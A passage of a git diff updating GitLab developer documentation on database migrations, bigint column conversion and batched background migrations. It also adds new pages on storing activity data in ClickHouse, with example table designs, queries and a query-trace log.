table name during/after a database migration. @@ -389,7 +418,7 @@ table and creating a new one is the preferred way to "rename" the table. Renaming a table is possible without downtime by following our multi-release [rename table process](rename_database_tables.md#rename-table-without-downtime). -## Adding Foreign Keys +## Adding foreign keys Adding foreign keys usually works in 3 steps: @@ -404,7 +433,7 @@ GitLab allows you to work around this by using `Gitlab::Database::MigrationHelpers#add_concurrent_foreign_key`. This method ensures that no downtime is needed. -## Removing Foreign Keys +## Removing foreign keys This operation does not require downtime. @@ -418,14 +447,16 @@ without downtime and causing too much load on the database is described below. To start the process, add a regular migration to create the new `bigint` columns. Use the provided `initialize_conversion_of_integer_to_bigint` helper. The helper also creates a database trigger -to keep in sync both columns for any new records ([see an example](https://gitlab.com/gitlab-org/gitlab/-/blob/41fbe34a4725a4e357a83fda66afb382828767b2/db/migrate/20210608072312_initialize_conversion_of_ci_stages_to_bigint.rb)): +to keep in sync both columns for any new records ([code](https://gitlab.com/gitlab-org/gitlab/-/blob/97aee76c4bfc2043dc0a1ef9ffbb71c58e0e2857/db/migrate/20230127093353_initialize_conversion_of_merge_request_metrics_to_bigint.rb)): ```ruby -class InitializeConversionOfCiStagesToBigint < ActiveRecord::Migration[6.1] - include Gitlab::Database::MigrationHelpers +# frozen_string_literal: true + +class InitializeConversionOfMergeRequestMetricsToBigint < Gitlab::Database::Migration[2.1] + disable_ddl_transaction! - TABLE = :ci_stages - COLUMNS = %i(id) + TABLE = :merge_request_metrics + COLUMNS = %i[id] def up initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS) @@ -440,29 +471,28 @@ end Ignore the new `bigint` columns: ```ruby -module Ci - class Stage < Ci::ApplicationRecord - include IgnorableColumns - ignore_column :id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22' - end +# frozen_string_literal: true + +class MergeRequest::Metrics < ApplicationRecord + include IgnorableColumns + ignore_column :id_convert_to_bigint, remove_with: '16.0', remove_after: '2023-05-22' +end ``` -To migrate existing data, we introduced new type of _batched background migrations_. -Unlike the classic background migrations, built on top of Sidekiq, batched background migrations -don't have to enqueue and schedule all the background jobs at the beginning. -They also have other advantages, like automatic tuning of the batch size, better progress visibility, -and collecting metrics. To start the process, use the provided `backfill_conversion_of_integer_to_bigint` -helper ([example](https://gitlab.com/gitlab-org/gitlab/-/blob/41fbe34a4725a4e357a83fda66afb382828767b2/db/migrate/20210608072346_backfill_ci_stages_for_bigint_conversion.rb)): +Enqueue batched background migration ([code](https://gitlab.com/gitlab-org/gitlab/-/blob/97aee76c4bfc2043dc0a1ef9ffbb71c58e0e2857/db/post_migrate/20230127101834_backfill_merge_request_metrics_for_bigint_conversion.rb)) +to migrate the existing data: ```ruby -class BackfillCiStagesForBigintConversion < ActiveRecord::Migration[6.1] - include Gitlab::Database::MigrationHelpers +# frozen_string_literal: true + +class BackfillMergeRequestMetricsForBigintConversion < Gitlab::Database::Migration[2.1] + restrict_gitlab_migration gitlab_schema: :gitlab_main - TABLE = :ci_stages - COLUMNS = %i(id) + TABLE = :merge_request_metrics + COLUMNS = %i[id] def up - backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS) + backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS, sub_batch_size: 200) end def down diff --git a/doc/development/database/batched_background_migrations.md b/doc/development/database/batched_background_migrations.md index 88fdfab9828..c6fe6d16faf 100644 --- a/doc/development/database/batched_background_migrations.md +++ b/doc/development/database/batched_background_migrations.md @@ -309,7 +309,7 @@ In the second (filtered) example, we know exactly 100 will be updated with each NOTE: When applying additional filters, it is important to ensure they are properly covered by an index to optimize `EachBatch` performance. -In the example above we need an index on `(type, id)` to support the filters. See [the `EachBatch` docs for more information](iterating_tables_in_batches.md). +In the example above we need an index on `(type, id)` to support the filters. See [the `EachBatch` documentation for more information](iterating_tables_in_batches.md). ## Example @@ -349,20 +349,35 @@ background migration. `BatchedMigrationJob` is initialized with necessary arguments to execute the batch, as well as a connection to the tracking database. -1. Add a new trigger to the database to update newly created and updated routes, - similar to this example: +1. Create a database migration that adds a new trigger to the database. Example: ```ruby - execute(<<~SQL) - CREATE OR REPLACE FUNCTION example() RETURNS trigger - LANGUAGE plpgsql - AS $$ - BEGIN - NEW."namespace_id" = NEW."source_id" - RETURN NEW; - END; - $$; - SQL + class AddTriggerToRoutesToCopySourceIdToNamespaceId < Gitlab::Database::Migration[2.1] + FUNCTION_NAME = 'example_function' + TRIGGER_NAME = 'example_trigger' + + def up + execute(<<~SQL) + CREATE OR REPLACE FUNCTION #{FUNCTION_NAME}() RETURNS trigger + LANGUAGE plpgsql + AS $$ + BEGIN + NEW."namespace_id" = NEW."source_id" + RETURN NEW; + END; + $$; + + CREATE TRIGGER #{TRIGGER_NAME}() AFTER INSERT OR UPDATE + ON routes + FOR EACH ROW EXECUTE FUNCTION #{FUNCTION_NAME}(); + SQL + end + + def down + drop_trigger(TRIGGER_NAME, :routes) + drop_function(FUNCTION_NAME) + end + end ``` 1. Create a post-deployment migration that queues the migration for existing data: @@ -398,10 +413,28 @@ background migration. `restrict_gitlab_migration gitlab_schema: :gitlab_ci`. After deployment, our application: - - Continues using the data as before. - - Ensures that both existing and new data are migrated. + - Continues using the data as before. + - Ensures that both existing and new data are migrated. + +1. In the next release, add a database migration to remove the trigger. -1. In the next release, remove the trigger. We must also add a new post-deployment migration + ```ruby + class RemoveNamepaceIdTriggerFromRoutes < Gitlab::Database::Migration[2.1] + FUNCTION_NAME = 'example_function' + TRIGGER_NAME = 'example_trigger' + + def up + drop_trigger(TRIGGER_NAME, :routes) + drop_function(FUNCTION_NAME) + end + + def down + # Should reverse the trigger and the function in the up method of the migration that added it + end + end + ``` + +1. Add a new post-deployment migration that checks that the batched background migration is completed. For example: ```ruby @@ -502,7 +535,7 @@ end ``` NOTE: -[Additional filters](#additional-filters) defined with `scope_to` will be ignored by `LooseIndexScanBatchingStrategy` and `distinct_each_batch`. +[Additional filters](#additional-filters) defined with `scope_to` are ignored by `LooseIndexScanBatchingStrategy` and `distinct_each_batch`. ## Testing @@ -686,6 +719,16 @@ You can view failures in two ways: WHERE transition_logs.next_status = '2' AND migration.job_class_name = "CLASS_NAME"; ``` +### Adding indexes to support batched background migrations + +Sometimes it is necessary to add a new or temporary index to support a batched background migration. +To do this, create the index in a post-deployment migration that precedes the post-deployment +migration that queues the background migration. + +See the documentation for [adding database indexes](adding_database_indexes.md#analyzing-a-new-index-before-a-batched-background-migration) +for additional information about some cases that require special attention to allow the index to be used directly after +creation. + ## Legacy background migrations Batched background migrations replaced the [legacy background migrations framework](background_migrations.md). diff --git a/doc/development/database/clickhouse/gitlab_activity_data.md b/doc/development/database/clickhouse/gitlab_activity_data.md new file mode 100644 index 00000000000..6ba11b8afaf --- /dev/null +++ b/doc/development/database/clickhouse/gitlab_activity_data.md @@ -0,0 +1,482 @@ +--- +stage: Data Stores +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Store GitLab activity data in ClickHouse + +## Overview of the existing implementation + +### What is GitLab activity data + +GitLab records activity data during its operation as users interact with the application. Most of these interactions revolve around the projects, issues, and merge requests domain objects. Users can perform several different actions and some of these actions are recorded in a separate PostgreSQL database table called `events`. + +Example events: + +- Issue opened +- Issue reopened +- User joined a project +- Merge Request merged +- Repository pushed +- Snippet created + +### Where is the activity data used + +Several features use activity data: + +- The user's [contribution calendar](../../../user/profile/contributions_calendar.md) on the profile page. +- Paginated list of the user's contributions. +- Paginated list of user activity for a Project and a Group. +- [Contribution analytics](../../../user/group/contribution_analytics/index.md). + +### How is the activity data created + +The activity data is usually generated on the service layer when a specific operation is executed by the user. The persistence characteristics of an `events` record depend on the implementation of the service. Two main approaches exist: + +1. In the database transaction where the actual event occurs. +1. After the database transaction (which could be delayed). + +The above-mentioned mechanics provide a "mostly" consistent stream of `events`. + +For example, consistently recording an `events` record: + +```ruby +ApplicationRecord.transaction do + issue.closed! + Event.create!(action: :closed, target: issue) +end +``` + +Example, unsafe recording of an `events` record: + +```ruby +ApplicationRecord.transaction do + issue.closed! +end + +# If a crash happens here, the event will not be recorded. +Event.create!(action: :closed, target: issue) +``` + +### Database table structure + +The `events` table uses [polymorphic association](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations) to allow associating different database tables (issues, merge requests, etc.) with a record. A simplified database structure: + +```sql + Column | Type | Nullable | Default | Storage | +-------------+--------------------------+-----------+----------+------------------------------------+ + project_id | integer | | | plain | + author_id | integer | not null | | plain | + target_id | integer | | | plain | + created_at | timestamp with time zone | not null | | plain | + updated_at | timestamp with time zone | not null | | plain | + action | smallint | not null | | plain | + target_type | character varying | | | extended | + group_id | bigint | | | plain | + fingerprint | bytea | | | extended | + id | bigint | not null | nextval('events_id_seq'::regclass) | plain | +``` + +Some unexpected characteristics due to the evolving database design: + +- The `project_id` and the `group_id` columns are mutually exclusive, internally we call them resource parent. + - Example 1: for an issue opened event, the `project_id` field is populated. + - Example 2: for an epic-related event, the `group_id` field is populated (epic is always part of a group). +- The `target_id` and `target_type` column pair identifies the target record. + - Example: `target_id=1` and `target_type=Issue`. + - When the columns are `null`, we refer to an event which has no representation in the database. For example a repository `push` action. +- Fingerprint is used in some cases to later alter the event based on some metadata change. This approach is mostly used for Wiki pages. + +### Database record modifications + +Most of the data is written once however, we cannot say that the table is append-only. A few use cases where actual row updates and deletions happen: + +- Fingerprint-based update for certain Wiki page records. +- When user or an associated resource is deleted, the event rows are also deleted. + - The deletion of the associated `events` records happens in batches. + +### Current performance problems + +- The table uses significant disk space. +- Adding new events may significantly increase the database record count. +- Implementing data pruning logic is difficult. +- Time-range-based aggregations are not performant enough, some features may break due to slow database queries. + +### Example queries + +NOTE: +These queries have been significantly simplified from the actual queries from production. + +Database query for the user's contribution graph: + +```sql +SELECT DATE(events.created_at), COUNT(*) +FROM events +WHERE events.author_id = 1 +AND events.created_at BETWEEN '2022-01-17 23:00:00' AND '2023-01-18 22:59:59.999999' +AND ( + ( + events.action = 5 + ) OR + ( + events.action IN (1, 3) -- Enum values are documented in the Event model, see the ACTIONS constant in app/models/event.rb + AND events.target_type IN ('Issue', 'WorkItem') + ) OR + ( + events.action IN (7, 1, 3) + AND events.target_type = 'MergeRequest' + ) OR + ( + events.action = 6 + ) +) +GROUP BY DATE(events.created_at) +``` + +Query for group contributions for each user: + +```sql +SELECT events.author_id, events.target_type, events.action, COUNT(*) +FROM events +WHERE events.created_at BETWEEN '2022-01-17 23:00:00' AND '2023-03-18 22:59:59.999999' +AND events.project_id IN (1, 2, 3) -- list of project ids in the group +GROUP BY events.author_id, events.target_type, events.action +``` + +## Storing activity data in ClickHouse + +### Data persistence + +At the moment, there is no consensus about the way we would replicate data from the PostgreSQL database to ClickHouse. A few ideas that might work for the `events` table: + +#### Record data immediately + +This approach provides a simple way to keep the existing `events` table working while we're also sending data to the ClickHouse database. When an event record is created, ensure that it's created outside of the transaction. After persisting the data in PostgreSQL, persist it in ClickHouse. + +```ruby +ApplicationRecord.transaction do + issue.update!(state: :closed) +end + +# could be a method to hide complexity +Event.create!(action: :closed, target: issue) +ClickHouse::Event.create(action: :closed, target: issue) +``` + +What's behind the implementation of `ClickHouse::Event` is not decided yet, it could be one of the following: + +- ActiveRecord model directly connecting the ClickHouse database. +- REST API call to an intermediate service. +- Enqueueing an event to an event-streaming tool (like Kafka). + +#### Replication of `events` rows + +Assuming that the creation of `events` record is an integral part of the system, introducing another storage call might cause performance degradation in various code paths, or it could introduce significant complexity. + +Rather than sending data to ClickHouse on event creation time, we would move this processing in the background by iterating over the `events` table and sending the newly created database rows. + +By keeping track of which records have been sent over ClickHouse, we could incrementally send data. + +```ruby +last_updated_at = SyncProcess.last_updated_at + +# oversimplified loop, we would probably batch this... +Event.where(updated_at > last_updated_at).each do |row| + last_row = ClickHouse::Event.create(row) +end + +SyncProcess.last_updated_at = last_row.updated_at +``` + +### ClickHouse database table structure + +When coming up with the initial database structure, we must look at the way the data is queried. + +We have two main use cases: + +- Query data for a certain user, within a time range. + - `WHERE author_id = 1 AND created_at BETWEEN '2021-01-01' AND '2021-12-31'` + - Additionally, there might be extra `project_id` condition due to the access control check. +- Query data for a project or group, within a time range. + - `WHERE project_id IN (1, 2) AND created_at BETWEEN '2021-01-01' AND '2021-12-31'` + +The `author_id` and `project_id` columns are considered high-selectivity columns. By this we mean that optimizing the filtering of the `author_id` and the `project_id` columns is desirable for having performant database queries. + +The most recent activity data is queried more often. At some point, we might just drop or relocate older data. Most of the features look back only a year. + +For these reasons, we could start with a database table storing low-level `events` data: + +```plantuml +hide circle + +entity "events" as events { + id : UInt64 ("primary key") +-- + project_id : UInt64 + group_id : UInt64 + target_id : UInt64 + target_type : String + action : UInt8 + fingerprint : UInt64 + created_at : DateTime + updated_at : DateTime +} +``` + +The SQL statement for creating the table: + +```sql +CREATE TABLE events +( + `id` UInt64, + `project_id` UInt64 DEFAULT 0 NOT NULL, + `group_id` UInt64 DEFAULT 0 NOT NULL, + `author_id` UInt64 DEFAULT 0 NOT NULL, + `target_id` UInt64 DEFAULT 0 NOT NULL, + `target_type` LowCardinality(String) DEFAULT '' NOT NULL, + `action` UInt8 DEFAULT 0 NOT NULL, + `fingerprint` UInt64 DEFAULT 0 NOT NULL, + `created_at` DateTime64(6, 'UTC') DEFAULT now() NOT NULL, + `updated_at` DateTime64(6, 'UTC') DEFAULT now() NOT NULL +) +ENGINE = ReplacingMergeTree(updated_at) +ORDER BY id; +``` + +A few changes compared to the PostgreSQL version: + +- `target_type` uses [an optimization](https://clickhouse.com/docs/en/sql-reference/data-types/lowcardinality/) for low-cardinality column values. +- `fingerprint` becomes an integer and leverages a performant integer-based hashing function such as xxHash64. +- All columns get a default value, the 0 default value for the integer columns means no value. See the related [best practices](https://clickhouse.com/docs/en/cloud/bestpractices/avoid-nullable-columns/). +- `NOT NULL` to ensure that we always use the default values when data is missing (different behavior compared to PostgreSQL). +- The "primary" key automatically becomes the `id` column due to the `ORDER BY` clause. + +Let's insert the same primary key value twice: + +```sql +INSERT INTO events (id, project_id, target_id, author_id, target_type, action) VALUES (1, 2, 3, 4, 'Issue', null); +INSERT INTO events (id, project_id, target_id, author_id, target_type, action) VALUES (1, 20, 30, 5, 'Issue', null); +``` + +Let's inspect the results: + +```sql +SELECT * FROM events +``` + +- We have two rows with the same `id` value (primary key). +- The `null` `action` becomes `0`. +- The non-specified fingerprint column becomes `0`. +- The `DateTime` columns have the insert timestamp. + +ClickHouse will eventually "replace" the rows with the same primary key in the background. When running this operation, the higher `updated_at` value takes precedence. The same behavior can be simulated with the `final` keyword: + +```sql +SELECT * FROM events FINAL +``` + +Adding `FINAL` to a query can have significant performance consequences, some of the issues are documented in the [ClickHouse documentation](https://clickhouse.com/docs/en/sql-reference/statements/select/from/#final-modifier). + +We should always expect duplicated values in the table, so we must take care of the deduplication in query time. + +### ClickHouse database queries + +ClickHouse uses SQL for querying the data, in some cases, a PostgreSQL query can be used in ClickHouse without major modifications assuming that the underlying database structure is very similar. + +Query for group contributions for each user (PostgreSQL): + +```sql +SELECT events.author_id, events.target_type, events.action, COUNT(*) +FROM events +WHERE events.created_at BETWEEN '2022-01-17 23:00:00' AND '2023-03-18 22:59:59.999999' +AND events.project_id IN (1, 2, 3) -- list of project ids in the group +GROUP BY events.author_id, events.target_type, events.action +``` + +The same query would work in PostgreSQL however, we might see duplicated values in ClickHouse due to the way the table engine works. The deduplication can be achieved by using a nested `FROM` statement. + +```sql +SELECT author_id, target_type, action, count(*) +FROM ( + SELECT + id, + argMax(events.project_id, events.updated_at) AS project_id, + argMax(events.group_id, events.updated_at) AS group_id, + argMax(events.author_id, events.updated_at) AS author_id, + argMax(events.target_type, events.updated_at) AS target_type, + argMax(events.target_id, events.updated_at) AS target_id, + argMax(events.action, events.updated_at) AS action, + argMax(events.fingerprint, events.updated_at) AS fingerprint, + FIRST_VALUE(events.created_at) AS created_at, + MAX(events.updated_at) AS updated_at + FROM events + WHERE events.created_at BETWEEN '2022-01-17 23:00:00' AND '2023-03-18 22:59:59.999999' + AND events.project_id IN (1, 2, 3) -- list of project ids in the group + GROUP BY id +) AS events +GROUP BY author_id, target_type, action +``` + +- Take the most recent column values based on the `updated_at` column. +- Take the first value for `created_at`, assuming that the first `INSERT` contains the correct value. An issue only when we don't sync `created_at` at all and the default value (`NOW()`) is used. +- Take the most recent `updated_at` value. + +The query looks more complicated now because of the deduplication logic. The complexity can be hidden behind a database view. + +### Optimizing the performance + +The aggregation query in the previous section might not be performant enough for production use due to the large volume of data. + +Let's add 1 million extra rows to the `events` table: + +```sql +INSERT INTO events (id, project_id, author_id, target_id, target_type, action) SELECT id, project_id, author_id, target_id, 'Issue' AS target_type, action FROM generateRandom('id UInt64, project_id UInt64, author_id UInt64, target_id UInt64, action UInt64') LIMIT 1000000; +``` + +Running the previous aggregation query in the console prints out some performance data: + +```plaintext +1 row in set. Elapsed: 0.122 sec. Processed 1.00 million rows, 42.00 MB (8.21 million rows/s., 344.96 MB/s.) +``` + +The query returned 1 row (correctly) however, it had to process 1 million rows (full table). We can optimize the query with an index on the `project_id` column: + +```sql +ALTER TABLE events ADD INDEX project_id_index project_id TYPE minmax GRANULARITY 10; +ALTER TABLE events MATERIALIZE INDEX project_id_index; +``` + +Executing the query returns much better figures: + +```plaintext +Read 2 rows, 107.00 B in 0.005616811 sec., 356 rows/sec., 18.60 KiB/sec. +``` + +To optimize the date range filter on the `created_at` column, we could try adding another index on the `created_at` column. + +#### Query for the contribution graph + +Just to recap, this is the PostgreSQL query: + +```sql +SELECT DATE(events.created_at), COUNT(*) +FROM events +WHERE events.author_id = 1 +AND events.created_at BETWEEN '2022-01-17 23:00:00' AND '2023-01-18 22:59:59.999999' +AND ( + ( + events.action = 5 + ) OR + ( + events.action IN (1, 3) -- Enum values are documented in the Event model, see the ACTIONS constant in app/models/event.rb + AND events.target_type IN ('Issue', 'WorkItem') + ) OR + ( + events.action IN (7, 1, 3) + AND events.target_type = 'MergeRequest' + ) OR + ( + events.action = 6 + ) +) +GROUP BY DATE(events.created_at) +``` + +The filtering and the count aggregation is mainly done on the `author_id` and the `created_at` columns. Grouping the data by these two columns would probably give an adequate performance. + +We could attempt adding an index on the `author_id` column however, we still need an additional index on the `created_at` column to properly cover this query. Besides, under the contribution graph, GitLab shows the list of ordered contributions of the user which would be great to get it efficiently via a different query with the `ORDER BY` clause. + +For these reasons, it's probably better to use a ClickHouse projection which stores the events rows redundantly but we can specify a different sort order. + +The ClickHouse query would be the following (with a slightly adjusted date range): + +```sql +SELECT DATE(events.created_at) AS date, COUNT(*) AS count +FROM ( + SELECT + id, + argMax(events.created_at, events.updated_at) AS created_at + FROM events + WHERE events.author_id = 4 + AND events.created_at BETWEEN '2023-01-01 23:00:00' AND '2024-01-01 22:59:59.999999' + AND ( + ( + events.action = 5 + ) OR + ( + events.action IN (1, 3) -- Enum values are documented in the Event model, see the ACTIONS constant in app/models/event.rb + AND events.target_type IN ('Issue', 'WorkItem') + ) OR + ( + events.action IN (7, 1, 3) + AND events.target_type = 'MergeRequest' + ) OR + ( + events.action = 6 + ) + ) + GROUP BY id +) AS events +GROUP BY DATE(events.created_at) +``` + +The query does a full table scan, let's optimize it: + +```sql +ALTER TABLE events ADD PROJECTION events_by_authors ( + SELECT * ORDER BY author_id, created_at -- different sort order for the table +); + +ALTER TABLE events MATERIALIZE PROJECTION events_by_authors; +``` + +#### Pagination of contributions + +Listing the contributions of a user can be queried in the following way: + +```sql +SELECT events.* +FROM ( + SELECT + id, + argMax(events.project_id, events.updated_at) AS project_id, + argMax(events.group_id, events.updated_at) AS group_id, + argMax(events.author_id, events.updated_at) AS author_id, + argMax(events.target_type, events.updated_at) AS target_type, + argMax(events.target_id, events.updated_at) AS target_id, + argMax(events.action, events.updated_at) AS action, + argMax(events.fingerprint, events.updated_at) AS fingerprint, + FIRST_VALUE(events.created_at) AS created_at, + MAX(events.updated_at) AS updated_at + FROM events + WHERE events.author_id = 4 + GROUP BY id + ORDER BY created_at DESC, id DESC +) AS events +LIMIT 20 +``` + +ClickHouse supports the standard `LIMIT N OFFSET M` clauses, so we can request the next page: + +```sql +SELECT events.* +FROM ( + SELECT + id, + argMax(events.project_id, events.updated_at) AS project_id, + argMax(events.group_id, events.updated_at) AS group_id, + argMax(events.author_id, events.updated_at) AS author_id, + argMax(events.target_type, events.updated_at) AS target_type, + argMax(events.target_id, events.updated_at) AS target_id, + argMax(events.action, events.updated_at) AS action, + argMax(events.fingerprint, events.updated_at) AS fingerprint, + FIRST_VALUE(events.created_at) AS created_at, + MAX(events.updated_at) AS updated_at + FROM events + WHERE events.author_id = 4 + GROUP BY id + ORDER BY created_at DESC, id DESC +) AS events +LIMIT 20 OFFSET 20 +``` diff --git a/doc/development/database/clickhouse/index.md b/doc/development/database/clickhouse/index.md new file mode 100644 index 00000000000..a26bac261fd --- /dev/null +++ b/doc/development/database/clickhouse/index.md @@ -0,0 +1,85 @@ +--- +stage: Data Stores +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Introduction to ClickHouse use and table design + +## How it differs from PostgreSQL + +The [intro](https://clickhouse.com/docs/en/intro/) page is quite good to give an overview of ClickHouse. + +ClickHouse has a lot of differences from traditional OLTP (online transaction processing) databases like PostgreSQL. The underlying architecture is a bit different, and the processing is a lot more CPU-bound than in traditional databases. +ClickHouse is a log-centric database where immutability is a key component. The advantages of such approaches are well documented [[1]](https://www.odbms.org/2015/10/the-rise-of-immutable-data-stores/) however it also makes updates much harder. See ClickHouse [documentation](https://clickhouse.com/docs/en/guides/developer/mutations/) for operations that provide UPDATE/DELETE support. It is noticeable that these operations are supposed to be non-frequent. + +This distinction is important while designing tables. Either: + +- The updates are not required (best case) +- If they are needed, they aren't to be run during query execution. + +## ACID compatibility + +ClickHouse has a slightly different overview of Transactional support, where the guarantees are applicable only up to a block of inserted data to a specific table. See [the Transactional (ACID) support](https://clickhouse.com/docs/en/guides/developer/transactional/) documentation for details. + +Multiple insertions in a single write should be avoided as transactional support across multiple tables is only covered in materialized views. + +ClickHouse is heavily geared towards providing the best-in-class support for analytical queries. Operations like aggregation are very fast and there are several features to augment these capabilities. +ClickHouse has some good blog posts covering [details of aggregations](https://altinity.com/blog/clickhouse-aggregation-fun-part-1-internals-and-handy-tools). + +## Primary indexes, sorting index and dictionaries + +It is highly recommended to read ["A practical introduction to primary indexes in ClickHouse""](https://clickhouse.com/docs/en/guides/improving-query-performance/sparse-primary-indexes/sparse-primary-indexes-intro) to get an understanding of indexes in ClickHouse. + +Particularly how database index design in ClickHouse [differs](https://clickhouse.com/docs/en/guides/improving-query-performance/sparse-primary-indexes/sparse-primary-indexes-design/#an-index-design-for-massive-data-scales) from those in transactional databases like PostgreSQL. + +Primary index design plays a very important role in query performance and should be stated carefully. Almost all of the queries should rely on the primary index as full data scans are bound to take longer. + +Read the documentation for [primary keys and indexes in queries](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/mergetree/#primary-keys-and-indexes-in-queries) to learn how indexes can affect query performance in MergeTree Table engines (default table engine in ClickHouse). + +Secondary indexes in ClickHouse are different from what is available in other systems. They are also called data-skipping indexes as they are used to skip over a block of data. See the documentation for [data-skipping indexes](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/mergetree#table_engine-mergetree-data_skipping-indexes). + +ClickHouse also offers ["Dictionaries"](https://clickhouse.com/docs/en/sql-reference/dictionaries/external-dictionaries/external-dicts/) which can be used as external indexes. Dictionaries are loaded from memory and can be used to look up values on query runtime. + +## Data types & Partitioning + +ClickHouse offers SQL-compatible [data types](https://clickhouse.com/docs/en/sql-reference/data-types/) and few specialized data types like: + +- [`LowCardinality`](https://clickhouse.com/docs/en/sql-reference/data-types/lowcardinality) +- [UUID](https://clickhouse.com/docs/en/sql-reference/data-types/uuid) +- [Maps](https://clickhouse.com/docs/en/sql-reference/data-types/map) +- [Nested](https://clickhouse.com/docs/en/sql-reference/data-types/nested-data-structures/nested) which is interesting, because it simulates a table inside a column. + +One key design aspect that comes up front while designing a table is the partitioning key. Partitions can be any arbitrary expression but usually, these are time duration like months, days, or weeks. ClickHouse takes a best-effort approach to minimize the data read by using the smallest set of partitions. + +Suggested reads: + +- [Choose a low cardinality partitioning key](https://clickhouse.com/docs/en/optimize/partitioning-key) +- [Custom partitioning key](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/custom-partitioning-key). + +## Sharding and replication + +Sharding is a feature that allows splitting the data into multiple ClickHouse nodes to increase throughput and decrease latency. The sharding feature uses a distributed engine that is backed by local tables. The distributed engine is a "virtual" table that does not store any data. It is used as an interface to insert and query data. + +See [the ClickHouse documentation](https://clickhouse.com/docs/en/engines/table-engines/special/distributed/) and this section on [replication and sharding](https://clickhouse.com/docs/en/manage/replication-and-sharding/). ClickHouse can use either Zookeeper or its own compatible API via a component called [ClickHouse Keeper](https://clickhouse.com/docs/en/operations/clickhouse-keeper) to maintain consensus. + +After nodes are set up, they can become invisible from the Clients and both write and read queries can be issued to any node. + +In most cases, clusters usually start with a fixed number of nodes(~ shards). [Rebalancing shards](https://clickhouse.com/docs/en/guides/sre/scaling-clusters) is operationally heavy and requires rigorous testing. + +Replication is supported by MergeTree Table engine, see the [replication section](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/replication/) in documentation for details on how to define them. +ClickHouse relies on a distributed coordination component (either Zookeeper or ClickHouse Keeper) to track the participating nodes in the quorum. Replication is asynchronous and multi-leader. Inserts can be issued to any node and they can appear on other nodes with some latency. If desired, stickiness to a specific node can be used to make sure that reads observe the latest written data. + +## Materialized views + +One of the defining features of ClickHouse is materialized views. Functionally they resemble insert triggers for ClickHouse. +Materialized views can be used for a variety of use cases which are well [documented](https://www.polyscale.ai/blog/polyscale-metrics-materialized-views/) on the web. + +We recommended reading the [views](https://clickhouse.com/docs/en/sql-reference/statements/create/view#materialized-view) section from the official documentation to get a better understanding of how they work. + +Quoting the [documentation](https://clickhouse.com/docs/en/sql-reference/statements/create/view#materialized-view): + +> Materialized views in ClickHouse are implemented more like insert triggers. +> If there's some aggregation in the view query, it's applied only to the batch +> of freshly inserted data. Any changes to existing data of the source table +> (like update, delete, drop a partition, etc.) do not change the materialized view. diff --git a/doc/development/database/clickhouse/optimization.md b/doc/development/database/clickhouse/optimization.md new file mode 100644 index 00000000000..166bbf7d2b1 --- /dev/null +++ b/doc/development/database/clickhouse/optimization.md @@ -0,0 +1,60 @@ +--- +stage: Data Stores +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Optimizing query execution + +ClickHouse Inc has listed a [variety of optimization strategies](https://clickhouse.com/docs/en/optimize/). + +ClickHouse relies heavily on the structure of the primary index. However, in some cases, it's possible that queries rely on a column that's part of the primary index, but isn't the first column. See [Using multiple primary indexes](https://clickhouse.com/docs/en/guides/improving-query-performance/sparse-primary-indexes/sparse-primary-indexes-multiple) which offers several options in such cases. For example: using a data skipping index as a secondary index. + +In cases of compound primary indexes, it's helpful to understand the data characteristics of key columns is also very helpful. They can allow the index to be more efficient. [Ordering key columns efficiently](https://clickhouse.com/docs/en/guides/improving-query-performance/sparse-primary-indexes/sparse-primary-indexes-cardinality) goes into details on these concepts. + +ClickHouse blog also has a very good post, [Super charging your ClickHouse queries](https://clickhouse.com/blog/clickhouse-faster-queries-with-projections-and-primary-indexes), that outlines almost all of the approaches listed above. + +It is possible to use [`EXPLAIN`](https://clickhouse.com/docs/en/sql-reference/statements/explain/) statements with queries to get visible steps of the query pipeline. Note the different [types](https://clickhouse.com/docs/en/sql-reference/statements/explain/#explain-types) of `EXPLAIN`. + +Also, to get detailed query execution pipeline, you can toggle the logs level to `trace` via `clickhouse-client` and then execute the query. + +For example: + +```plaintext +$ clickhouse-client :) SET send_logs_level = 'trace' +$ clickhouse-client :) select count(traceID) from jaeger_index WHERE tenant = '12' AND service != 'jaeger-query' FORMAT Vertical ; + +SELECT count(traceID) +FROM jaeger_index +WHERE (tenant = '12') AND (service != 'jaeger-query') +FORMAT Vertical + +Query id: 6ce40daf-e1b1-4714-ab02-268246f3c5c9 + +[cluster-0-0-0] 2023.01.30 06:31:32.240819 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> executeQuery: (from 127.0.0.1:53654) select count(traceID) from jaeger_index WHERE tenant = '12' AND service != 'jaeger-query' FORMAT Vertical ; (stage: Complete) +.... +[cluster-0-0-0] 2023.01.30 06:31:32.244071 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> InterpreterSelectQuery: MergeTreeWhereOptimizer: condition "service != 'jaeger-query'" moved to PREWHERE +[cluster-0-0-0] 2023.01.30 06:31:32.244420 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> InterpreterSelectQuery: MergeTreeWhereOptimizer: condition "service != 'jaeger-query'" moved to PREWHERE +.... +[cluster-0-0-0] 2023.01.30 06:31:32.245153 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> InterpreterSelectQuery: FetchColumns -> Complete +[cluster-0-0-0] 2023.01.30 06:31:32.245255 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Trace> InterpreterSelectQuery: Complete -> Complete +[cluster-0-0-0] 2023.01.30 06:31:32.245590 [ 4991 ] {6ce40daf-e1b1-4714-ab02-268246f3c5c9} <Debug> tracing_gcs.jaeger_index_local (66c6ca81-e20d-44dc-8101-92678fc24d99) (SelectExecutor): Key condition: (column 1 not in ['jaeger-query', 'jaeger-query']), unknown, (column 0 in ['12', '12']), and, and 